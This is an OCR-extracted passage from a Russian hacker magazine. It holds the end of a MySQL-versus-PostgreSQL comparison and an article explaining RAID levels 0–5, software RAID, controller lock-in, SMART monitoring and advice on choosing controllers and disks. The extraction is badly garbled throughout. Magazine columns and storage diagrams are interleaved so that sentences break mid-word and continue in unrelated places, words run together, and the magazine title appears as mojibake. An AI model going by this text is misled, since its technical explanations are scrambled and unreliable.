показываетпрактика, стандарты, к сожалению, не пользуютсядолжной популярностью.О производительности говорить не буду, посколькуэтот вопрос требует проведения серьезногоисследования и, по возможности, наразличном железе. Небольшие тесты, которыея проводил «на коленке», не продемонстрировалиявного преимущества MySQL, дажес таблицами MyISAM, и если веритьсторонним исследованиям, PostgreSQLгораздо лучше держит нагрузку, в то времякак MySQL проваливается при большом числеодновременных запросов (смотри tweakers.net/reviews/657/2).ИтогиИтак, получается, что MySQL и PostgreSQLсейчас довольно близки функционально, хотя M y S Q L п о - п р е ж н е м у в р о л идогоняющего. То, что одна сложнее другойв установке или в работе, тоже не скажешь,— это, скорее, дело привычки и личныхпредпочтений. Скорость работы — вопросс ложный, и отв ет на него з ависитот целого ряда условий (режим использования,железо, размеры и структура базы и т.д.).Выбирать, конечно, тебе, но советую обратитьвнимание на PostgreSQL, если ты еще с нейне работаешь. Она того заслуживает. zxàêåð 02 /98/ 07/157


ХАКЕР.PROКрис КасперскиКоролевствокривых RAID-зеркалВсе, что С ты хотел знать о RAID-массивах, но боялся спроситьЛет десять назад RAID-массивы были экзотикой, встречающейся только на серверах и крутых рабочихстанциях. Сейчас же RAID-контроллеры настолько подешевели, что массово встраиваются в материнскиеплаты, соблазняя юзеров объединить несколько дисков в один массив, но за это искушение приходитсядорого платить.Смачная аббревиатура RAID расшифровываетсякак Redundant Arrayof Independent/Inexpensive Disks(дисковый массив недорогих/независимыхдисков). Дэвид Петтерсонон, Гарт Гибсон и РэндиКатц предложили для борьбы с отказамивинчестеров (тогда они случались намногочаще, чем сейчас) использовать избыточныймассив недорогих дисков. Идея получила развитие,и очень скоро в RAID'ы стали объединятьдорогие диски, поэтому слово «inexpensive»(«дешевый») заменили словом «independent»(«независимый») — сейчас RAID принято расшифровыватьименно так.Типы RAID'овНо как RAID-массивом можно распорядиться?Если объединить несколько физических дисковв один виртуальный и поблочно писать/читатьсо всех дисков сразу, мы получим RAID уровня 0(Striped Set), значительно увеличивающий скоростьопераций ввода/вывода (а, как известно,в большинстве случаев ввод/вывод — самоеузкое место в системе). В грубом приближениискорость обмена прямо пропорциональна количествудисков, то есть два диска увеличиваютпроизводительность практически вдвое.Однако здесь есть одно «но». Время поискасекторов (особенно при «далеких» позиционированиях)не постоянно, и винчестер нещадногоняет магнитную головку, отыскивая нужныйсектор методом вилки. При работе с однимжестким диском время поиска сектора равноX+/-n, где n — максимальное отклонение отсреднего времени поиска, обусловленного/ 158данные на все диски сразу, дублируя информа-конструктивными особенностями привода.При работе с массивом дисков время поискаувеличивается до X+n, поскольку контроллервынужден дожидаться завершения операцииобмена с самым медленным из дисков.Таким образом, чем больше у нас дисков, темменьший прирост производительности онидают. Переход с одного диска на два чувствуетсясразу, а добавление еще двух дисков уже практическицию, чтобы при выходе одного жесткого дискаиз строя ее было возможно автоматически восстановитьс другого. Такой массив называется«зеркальным» (Mirrored Set) и соответствуетRAID-уровню 1. При этом надежность резковозрастает, а время поиска секторов по‐прежнемуравняется X+n, то есть RAID 1 не тольконе ускоряет, но даже замедляет обмен даннымипо сравнению с обычным жестким диском.не ощущается. Тем более что при работес мелкими файлами ожидаемого ускоренияСхема хранения данных на RAID 1RAID-контроллервообще не наступает, поскольку невозможнообеспечить перекрывающееся чтение/запись| диск 1 | диск 2 | диск 3 | диск 4 | диск 5|нескольких небольших сегментов информации. | данные | копия д.1 | данные | копия д.3 | свободный |К тому же чем больше дисков, тем выше вероятностьотказа каждого из них, а посколькузапись ведется блочным образом (то есть блок1 записывается на диск 1, блок 2 — на диск 2,| Сегмент 1 | Сегмент 1 | Сегмент 2 | Сегмент 2 || Сегмент 3 | Сегмент 3 | Сегмент 4 | Сегмент 4 |RAID'ы уровней 2 и 3 обычно работают сразу||блок 3 — на диск 3 и т. д.), то при выходе одногодиска из строя из данных образуется «решето»,своеобразный реквием по хранящейся на RAID'еинформации. RAID 0 — это крайне ненадежнаяштука, и пользоваться ей можно только, например,для рабочей станции, предназначенной дляобработки цифрового видео, но ни в коем случаене для долговременного хранения данных!с пятью дисками, храня на них не только полезныеданные, но и байты четности, позволяющиевосстановить вышедший из строя диск засчет остальных. Покажем, как это происходитна примере битов (тем более что восстановлениеданных — это битовая операция). Пустьна четыре диска пишется: 1 0 1 1. Складываябиты друг с другом, получаем 3, а 3 по модулю 2Схема хранения данных на RAID 0RAID-контроллер| диск 1 | диск 2 | диск 3 | диск 4 | диск 5|| Сегмент 1 | Сегмент 2 | Сегмент 3 | Сегмент 4 | Сегмент 5|| Сегмент 6 | Сегмент 7 | Сегмент 8 | Сегмент 9 | Сегмент 10|А можно поступить иначе и писать одни и те жеравно 1, вот этот самый 1 мы и пишем на пятыйдиск. Теперь представим себе, что второй дисквышел из строя: 1 x 1 1 1. Мы вновь складываембиты, делим полученный результат по модулю 2и получаем 0, что и требовалось доказать!Дисков не обязательно должно быть пять,некоторые контроллеры работают и с тремя, ноэто неважно. Важно, что мы получаем и производительность,и надежность. Разница междуxàêåð 02 /98/ 07


ХАКЕР.PROПяти дискам, объединенным в один RAID-массив, в бюджетномкорпусе просто не хватило места!Adtron I35MB DiskpakT — RAID уровня 1 (Mirroring) из двухдисков с интегрированным контроллером, в форм-факторе 3,5"Single SlotRAID 2 и RAID 3 заключается в том, что RAID 2задействует для хранения битов четности несколькодисков, в то время как RAID 3 — толькоодин, вследствие чего RAID 2 встречается крайнередко, да и RAID 3 используется не часто.Схема хранения данных на RAID 3RAID-контроллер| диск 1 | диск 2 | диск 3 | диск 4 | диск 5|| данные | данные | данные | данные | четность || байт 1 | байт 2 | ба й т 3 | байт 4 |байт четности|| байт 5 | байт 6 | ба й т 7 | байт 8 |байт четности|RAID уровня 4 — это фактически усовершенствованныйRAID 3, устраняющий проблемупроизводительности при работе с небольшимиобъемами информации за счет использованиятолько того диска, на котором эта информацияхранится. Это позволяет обрабатыватьнесколько запросов на чтение одновременно(класс, особенно при работе с кучей мелкихфайлов!). Однако запросы на запись порождаютблокировки, вызванные необходимостьюобновления байтов четности, и в настоящеевремя RAID 4 используется крайне редко.RAID уровня 5 обходит проблему блокировокпри записи путем распределения байтов четностипо всем дискам, обеспечивая максимальновозможную скорость обмена и высокуюотказоустойчивость. Естественный недостаток— контроллеры этого типа довольно дорогостоят, к тому же необходимо как минимум трижестких диска! Впрочем, цены, как на диски,так и на контроллеры, неуклонно снижаются,и в обозримом будущем RAID 5 рискует статьсамым популярным типом из всех остальных.Схема хранения данных на RAID 5RAID-контроллер| диск 1 | диск 2 | диск 3 | диск 4 | диск 5||сегмент чет.| сегмент 1 | сегмент 2 | сегмент 3 | сегмент 4 || сегмент 5 | сегмент чет.| сегмент 6 | сегмент 7 | сегмент 8 || сегмент 9 | сегмент 10 | сегмент чет.| сегмент 11 | сегмент 12 |Большинство дешевых контроллеров, не поддерживающихRAID 5, тем не менее, позволяютсоздавать гибридные дисковые массивы наоснове RAID 0+RAID 1, но в этом случае нампотребуется по меньшей мере четыре жесткихдиска, а избыточность будет составлять 50%,против 30% у RAID 5, работающего всегос тремя дисками.Помимо аппаратных, существуют также и программныеRAID'ы, поддерживаемые практическивсеми современными операционнымисистемами (такими как Linux/BSD/NT/W2K/XP, а вот Windows 9x в этот список не входит).Будучи подключенными к различнымиIDE‐каналам, они обеспечивают схожую (иличуть‐чуть более низкую) производительность,зато по гораздо более дешевой цене. С точкиже зрения надежности программный RAIDничем не отличается аппаратного, можно дажесказать, что он выигрывает у него, посколькучем больше железа установлено в компьютер,тем выше риск его поломки — это закон, противкоторого не пойдешь.Польза RAID-массивовRAID'ы обеспечивают либо отказоустойчивость,либо производительность, либо и то,и другое одновременно. Причем на дисках,поддерживающих горячую замену (она жеhot-plug SCSI, SATA), выключать компьютердля смены вышедшего из строя винчестера необязательно. Это, кстати говоря, актуально нетолько для серверов, но и для рабочих станций,занимающихся обработкой цифрового видеоили другими продолжительными расчетами,которые затрачивают десятки часов машинноговремени и не могут быть прерваны. Остановкасистемы означает, что все придется начинать зановои отработанные часы потрачены впустую.Также объединение нескольких дисков в одинпозволяет создавать разделы большого размера.Это весьма актуально на RAID 0 при работес морально устаревшими (следовательно,дешевыми) винчестерами на несколько гектар.Объединив их вместе, мы получим здоровенныйраздел, доставшийся нам практически задаром.Вот, собственно, и все преимущества RAID'ов.Теперь проговорим об их недостатках.Вред RAID-массивовRAID-массив страхует только от аппаратноговыхода одного (реже — двух) жестких дисков изстроя, он не в состоянии противостоять другимтипам разрушения данных, таким как вирусы,ошибки оператора, хакерские атаки, сбоиоперационной системы и ее окружения. А привыходе из строя блока питания или падениякомпьютера со стола (например), все дискимассива обычно вылетают разом. Таким образом,вне зависимости от наличия/отсутствияRAID'а регулярное резервирование данныхвсе равно остается обязательным! А если естьрезервная копия, тогда какая польза от RAID'а?!Восстанавливать же информацию с RAID'овнамного сложнее. Их поддерживаютдалеко не все лечащие утилиты, а фирмы,специализирующиеся на восстановлении,дерут за работу двойную-тройную цену,если вообще за нее берутся!Причем RAID-массив может работать толькос тем контроллером, которым он был создан.Контроллеры различных производителей(и даже разные модели контроллеров одногои того же производителя) несовместимы другс другом, и если навернется контроллер, топрощай, весь дисковый массив! Хорошо, еслиRAID-контроллер внешний, тогда его можнобудет, по крайней мере, попытаться купить(именно попытаться, так как он давно уже можетбыть снят с выпуска и предан забвению).А вот при выходе из строя RAID-контроллерана материнской плате (равно как и любогодругого ее жизненно важного компонента),наступает точка кипения — нам придетсякупить точно такую же материнскую плату,при условии что их модельные ряды обновляютсякаждый сезон и «старички» исчезают изпрайс-листов и складов со скоростью торнадо.xàêåð 02 /98/ 07/159


ХАКЕР.PROВыбор типа дискового массива в bios'е RAID-контроллераR-Studio, способная автоматически восстанавливать разрушенныеRAID-массивыИдея купить несколько внешних RAID-контроллеровпро запас, конечно, хорошая (еслине учитывать финансовую сторону дела), ноглубоко неправильная, так как современныемикросхемы очень часто дохнут из‐за сложныхфизико-химических процессов, разрушающихих изнутри. Чего только стоит один рост кристалловв подложке, который может привестик утечкам, вызывающим настырные сбои илидаже полную неработоспособность. Причемпоскольку нагрев и другие физико-механическиевоздействия разрушают кристаллы ещев зародыше (точнее, тормозят их развитие),то контроллер, мирно покоящийся на полке,имеет все шансы выйти из строя раньше, чемтот, который постоянно находится в работе.В этом смысле программные RAID-массивыболее предпочтительны, поскольку работаютс любым IDE/SCSI-контроллером, но и тутесть свои тонкости. Вплоть до Windows 2000,система хранила данные о дисковом массивев… реестре! Следовательно, крах (или переустановкас нуля) Windows означал и крах самогодискового массива со всеми содержащимисяв нем данными. В Windows 2000 и более старшихверсиях Microsoft высадила концепцию«динамических дисков» — по сути дела, тех жесамых программных RAID'ов, но! Теперь всяслужебная информация хранится уже не в реестре,а на самом диске (дисках), и они могутбыть подключены к любой другой W2K, XP.А вот диски, подключенные к RAID-контроллеру(неважно — интегрированному илинет), в сумке уже не поносишь и просто такк другому компьютеру не подключишь! Как жетогда обмениваться данными друг с другом?Как осуществлять апгрейд системы? Интегрированныеконтроллеры привязывают наск материнской плате, не интегрированные— к текущей операционной системе, посколькувовсе не факт, что другая ось поддерживаетэтот RAID-контроллер, как не факт и то, что егопроизводитель поддерживает все оси, которыенам нужны. Ну, Windows еще туда‐сюда, хотя/ 160xàêåðпод устаревшие (по мнению производителей)контроллеры новые драйверы, как правило, невыпускаются со всеми вытекающими отсюдапоследствиями.Наконец, у дисков, подключенных к RAIDконтроллерам,очень сложно, а иногдаи вообще невозможно прочитать показанияS. M. A. R. T. (системы самотестированияи мониторинга). А читать их крайне полезно,поскольку по ним можно с некоторой вероятностьюпредсказать, сколько еще винтужить осталось, и узнать его температуру.Когда диск один, за его температуру можно,в общем‐то, и не волноваться, но вот массивиз четырех тесно расположенных дисков (а подругому их располагать даже в BigTower'еникак не получается) способен нагреватьсядо весьма высоких температур, требующихнемедленной установки дополнительныхсистем охлаждения.Советы по выбору RAID'аЕсли же ты все‐таки решил объединить дискив RAID и никакими способами тебя не отговорить,то, по крайней мере, останови свой выборна контроллере именитого производителя (такогокак, например, Adaptec), который назавтране исчезнет вместе со своими поделками.Что же касается интегрированных контроллеров,тут тоже следует выбирать наиболеепопулярные чипы, используемые многимипроизводителями материнских плат (хотяи не факт, что «чужая» материнская плата,даже с тем же самым чипом, подхватит ужесобранный RAID). Если на материнской платеимеется несколько контроллеров (например,от Intel, ITE и Silicon Image), следует выбиратьтот, который распознается операционнойсистемой без установки внешних драйверов(в данном случае это Silicon Image). Иначе приремонте упавшей системы могут возникнутьсерьезные проблемы, самая распространеннаяиз которых заключается в следующем:грузимся с Live CD, а ось в упор не видитRAID'а. Кстати говоря, Silicon Image штатноподдерживается не только NT, но и остальнымиоперационными системами (Linux/BSD),а вот Intel — увы. ITE не дружит с NT, однакопонимается Linux'ом и BSD, так что в случаеаварии Knoppix LiveCD нам поможет.Существуют нелепые слухи, что при установкев RAID требуются винчестеры одной моделиили, по крайней мере, одного производителя.Это чушь! Можно брать любые диски, не толькоразных производителей, но даже разногоразмера. В случае RAID'а уровня 0 мы получимдиск суммарной емкости, в случае RAID 1 — наименьшейиз всех имеющихся. Вся хитростьв том, что, как неоднократно показывала практика,диски одной модели, имеющие дефектыпроектирования или косяки в техпроцессе,выходят из строя примерно в одно и то жевремя, с разбросом всего в несколько месяцев.Это приводит к тому, что члены RAID-массивавыходят из строя один за другим прежде, чемвладелец машины успевает заменить их.Выбор дисков от разных производителейреально увеличивает надежность храненияданных на RAID 1 и RAID 5. Что же касаетсяRAID 0, то даже при отказе одного из дисковон теряет все хранимые на нем данные, и тут,действительно, лучше выбирать идентичныемодели, обладающие сходными скоростнымихарактеристиками.И последнее. Если RAID все‐таки упал, не стоитпаниковать и рвать себе вены зубами. ВозьмиR-Studio от R-Tools Technology (www. r-tt. com)— это лучшее средство для автоматическоговосстановления из всех имеющихся.ЗаключениеТак что же все‐таки, по большому счету, представляютсобой RAID'ы? Добро или зло? Вопроссложный, можно даже сказать, риторический.И, как к любому риторическому вопросу,к нему надо подходить с философской точкизрения. То есть выбирать, руководствуясьсобственной интуицией и чутьем. z02 /98/ 07

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!